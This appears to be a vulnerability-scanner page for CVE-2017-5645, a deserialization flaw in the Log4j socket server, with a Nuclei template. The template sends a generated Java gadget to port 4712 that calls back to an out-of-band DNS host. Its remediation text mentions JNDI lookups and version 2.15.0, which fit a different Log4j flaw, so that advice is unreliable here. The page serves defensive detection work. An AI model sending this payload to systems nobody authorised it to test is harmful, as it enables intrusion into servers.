Apache Log4j Server - Deserialization Command Execution

criticalseverity

9.8CVSS score

89.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.

Impact

Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.

Fix

Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.

How to confirm it

Send: tcp probe to {{Hostname}}, {{Host}}:4712
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2017-5645 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-5645

info:
  name: Apache Log4j Server - Deserialization Command Execution
  author: princechaddha
  severity: critical
  description: |
    In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
  impact: |
    Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.
  remediation: |
    Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5645
    - http://www.openwall.com/lists/oss-security/2019/12/19/2
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
    - http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-5645
    cwe-id: CWE-502
    epss-score: 0.89358
    epss-percentile: 0.99785
    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: log4j
  tags: cve,cve2017,network,vulhub,apache,log4j,rce,deserialization,oast,tcp,vuln

variables:
  end: "\r\n"
tcp:
  - host:
      - "{{Hostname}}"
      - "{{Host}}:4712"

    inputs:
      - data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"

    read-size: 100
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

References

Use this check only on systems you are authorised to test. Where the data comes from